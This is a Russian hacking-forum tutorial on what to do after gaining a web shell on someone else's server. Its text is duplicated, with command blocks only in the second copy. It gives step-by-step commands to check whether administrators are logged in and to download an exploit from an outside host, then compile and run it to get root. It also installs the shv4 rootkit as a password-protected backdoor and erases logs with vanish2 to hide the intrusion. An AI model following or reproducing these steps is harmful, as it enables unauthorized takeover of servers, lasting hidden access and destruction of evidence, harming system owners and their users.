Меня часто спрашивают, что делать, после того как шелл был залит и получен доступ к файловой системе удаленной системы.
Поэтому я решил написать небольшой мануал о том, что же все-таки делать после того как ты залил шелл и оказался по ту сторону
сайта, то есть на сервере.
Ну приступим.
Допустим мы с вами воспользовались найденной уязвимостью и нам удалось оказаться по ту сторону сайта, на сервере.
1. Есть ли кто?
Для начала надо посмотреть есть ли кто нить в системе кроме нас, есть ли админы, как давно заходил админ.
Все это можно проделать командой
допустим мы скомандовали who и в ответ получили вот это
как видим в системе сейчас мы одни. Теперь скомандуем last - 10 и посмотрим историю входов, а точнее последние 10 входов.
так как сечас в системе root'а нет поэтому мы можем спокойно работать дальше. Но стоит изредка проверять, не пришел ли админ
сервака, чтобы не пропалиться.
2. Куда мы попали?
Настало время осмотреться, куда же мы все-таки попали. Для этого достаточно выполнить команду uname -a. Вывод, которой нам
повествует о том, какая же это система.
Теперь мы знаем, куда мы попали.
3. Собираем инфу о системе.
Наверное, самый важный момент это собрать как можно больше информации об удаленной системе. Ну, версию оси мы уже выяснили
командой uname -a. Теперь выясним, какие же качалки присутствуют на сервере, а также есть ли компилятор gcc. Это понадобиться
нам для того, чтобы в дальнейшем мы смогли залить сплойт, если собираемся поэксплуатировать систему.
Выполним следующие команды и узнаем, какие качалки есть.
проверим, есть ли компилятор
ну вот мы выяснили, что на серваке есть wget и curl, а также есть компилятор gcc. Идем дальше.
4. Подбираем сплойт.
Ну, подбор сплойта это даже тема отдельной статьи, так как сплойтов великое множество. Да и система, приведенная нами в
пример
не очень удачна, так как на ней многие сплойты просто не компиляться (x86_64 x86_64 x86_64 GNU/Linux). Архитектура понимаешь!
Так что допустим мы нашли сплойт под эту версию и теперь мы его хотим заюзать.
5. Юзаем сплойт.
Как уже было сказано сплойт мы нашли, осталось дело за малым залить его и запустить ). Для этого перейдем в папку /tmp. Папка
/tmp всегда открыта для записи, что собственно нам и нужно.
командой
мы переходим в папку. Теперь заливаем туда найденный нами сплойт качалкой wget
если же нету качалки wget то мона заюзать curl ну или те которые есть.
далее выполним команду
чем собственно и проверим залился ли наш сплойт. Если сплойт удачно залился, надо его откомпилить. Для этого скомандуем вот
так (Для разных сплойтов может быть по разному, привожу пример простейшего случая!!!)
допустим наш сплойт скомпилился на ура. Теперь дадим егму нужные права на выполнение. Делается это командой chmod с
различными параметрами. Нам нужен параметр +x, который дает права на запуск.
и наконец запускаем.
после работы сплойта проверим свои права в системе командой id
если мы увидим что-то врожде этого
uid=0(root) gid=0(root)
то самое время кричать УРААА!!! Это значит, что мы рут!
А если права остануться что и прежде значит облом.
6. Закрепляемся в ситеме
Закрепление в системе происходит по средством руткита. Для этого скачиваем руткит-возьмём shv4.
где pass(пароль) и 1280(порт) ваши значения. Чтобы избежать проблем не надо вешать реткит на высокий порт.
Заходит в putty указываем сайт, порт и конектимся. Имя root,а пароль тот что вы указали при настройке.
В моём случае это root.
После того как мы зашли, проверим, светиться ли нащ порт. Выполним команду
Как видите заданный порт не где не светится,а значит мы освободили себя от зоркого глаза админа
Осталось, почистить логи.
7. Чистим логи.
Но после всех наших преключений остануться логи. Все наши действия будут записаны, для хакера это смерть! Поэтому их надо
почистить. Для чистки логов я пользуюсь такой замечательной программой как vanish2. vanish2 - одна из лучших под *nix.
скачиваем vanish2
ставим права на запуск
Собираем
Запускаем:
Где 127.0.0.1 ваш реальный ip.
Если мы увидим надпись V_A_N_I_S_H_E_D_! то значит все ok! Мы все почистили.
Специально для HackedPro.org.
Автор: =NEO=
Поэтому я решил написать небольшой мануал о том, что же все-таки делать после того как ты залил шелл и оказался по ту сторону
сайта, то есть на сервере.
Ну приступим.
Допустим мы с вами воспользовались найденной уязвимостью и нам удалось оказаться по ту сторону сайта, на сервере.
1. Есть ли кто?
Для начала надо посмотреть есть ли кто нить в системе кроме нас, есть ли админы, как давно заходил админ.
Все это можно проделать командой
Код:
who или last -n 10
Код:
[xzone@hahost ~]$ who
xzone pts/3 Jul 5 09:44 (89.184.2.9)
Код:
[xzone@hahost ~]$ last -n 10
xzone pts/3 89.184.*.* Wed Jul 5 09:44 still logged in
xzone pts/3 89.184.*.* Wed Jul 5 09:44 - 09:44 (00:00)
ljsoft ftpd13508 82.162.12.215 Wed Jul 5 09:41 - 09:41 (00:00)
ljsoft ftpd10081 82.162.12.215 Wed Jul 5 09:37 still logged in
admin@wo ftpd10074 72.9.238.114 Wed Jul 5 09:37 - 09:37 (00:00)
ljsoft ftpd7911 82.162.12.215 Wed Jul 5 09:33 - 09:34 (00:00)
ljsoft ftpd7822 82.162.12.215 Wed Jul 5 09:33 - 09:33 (00:00)
ljsoft ftpd7714 82.162.12.215 Wed Jul 5 09:33 still logged in
ljsoft ftpd20043 82.162.12.100 Wed Jul 5 09:09 - 09:12 (00:02)
backup ftpd32504 127.0.0.1 Wed Jul 5 05:23 - 05:23 (00:00)
wtmp begins Sat Jul 1 05:01:35 2006
сервака, чтобы не пропалиться.
2. Куда мы попали?
Настало время осмотреться, куда же мы все-таки попали. Для этого достаточно выполнить команду uname -a. Вывод, которой нам
повествует о том, какая же это система.
Код:
Linux 2.6.8-022stab077-smp-hb #4 SMP Fri Jun 23 22:59:49 MSD 2006 x86_64 x86_64 x86_64 GNU/Linux
3. Собираем инфу о системе.
Наверное, самый важный момент это собрать как можно больше информации об удаленной системе. Ну, версию оси мы уже выяснили
командой uname -a. Теперь выясним, какие же качалки присутствуют на сервере, а также есть ли компилятор gcc. Это понадобиться
нам для того, чтобы в дальнейшем мы смогли залить сплойт, если собираемся поэксплуатировать систему.
Выполним следующие команды и узнаем, какие качалки есть.
Код:
[xzone@hahost ~]$ which lynx;which links;which get;which wget;which fetch;which curl
/usr/bin/lynx
/usr/bin/which: no links in (/usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/xzone/bin)
/usr/bin/which: no get in (/usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/xzone/bin)
/usr/bin/wget
/usr/bin/which: no fetch in (/usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/xzone/bin)
/usr/bin/curl
Код:
[xzone@hahost ~]$ which gcc
/usr/bin/gcc
4. Подбираем сплойт.
Ну, подбор сплойта это даже тема отдельной статьи, так как сплойтов великое множество. Да и система, приведенная нами в
пример
не очень удачна, так как на ней многие сплойты просто не компиляться (x86_64 x86_64 x86_64 GNU/Linux). Архитектура понимаешь!
Так что допустим мы нашли сплойт под эту версию и теперь мы его хотим заюзать.
5. Юзаем сплойт.
Как уже было сказано сплойт мы нашли, осталось дело за малым залить его и запустить ). Для этого перейдем в папку /tmp. Папка
/tmp всегда открыта для записи, что собственно нам и нужно.
командой
Код:
cd /tmp
Код:
wget http://site.ru/sploit.c
Код:
curl http://site.ru/sploit.c > sploit.c
Код:
ls -al sploit.c
так (Для разных сплойтов может быть по разному, привожу пример простейшего случая!!!)
Код:
gcc sploit.c -o sploit
различными параметрами. Нам нужен параметр +x, который дает права на запуск.
Код:
chmod +x sploit
Код:
./sploit
если мы увидим что-то врожде этого
uid=0(root) gid=0(root)
то самое время кричать УРААА!!! Это значит, что мы рут!
А если права остануться что и прежде значит облом.
6. Закрепляемся в ситеме
Закрепление в системе происходит по средством руткита. Для этого скачиваем руткит-возьмём shv4.
Код:
wget http://splo1t.narod.ru/rootkits/shv4.tar.gz
tar xzf shv4.tar.gz
cd shv4
chmod +x setup
./setup root 1280
Заходит в putty указываем сайт, порт и конектимся. Имя root,а пароль тот что вы указали при настройке.
В моём случае это root.
После того как мы зашли, проверим, светиться ли нащ порт. Выполним команду
Код:
nestat -an
Осталось, почистить логи.
7. Чистим логи.
Но после всех наших преключений остануться логи. Все наши действия будут записаны, для хакера это смерть! Поэтому их надо
почистить. Для чистки логов я пользуюсь такой замечательной программой как vanish2. vanish2 - одна из лучших под *nix.
скачиваем vanish2
ставим права на запуск
Код:
chmod +x vanish2.
Код:
gcc vanish2.c –o vanish
Код:
./vanish root name_site 127.0.0.1
Если мы увидим надпись V_A_N_I_S_H_E_D_! то значит все ok! Мы все почистили.
Специально для HackedPro.org.
Автор: =NEO=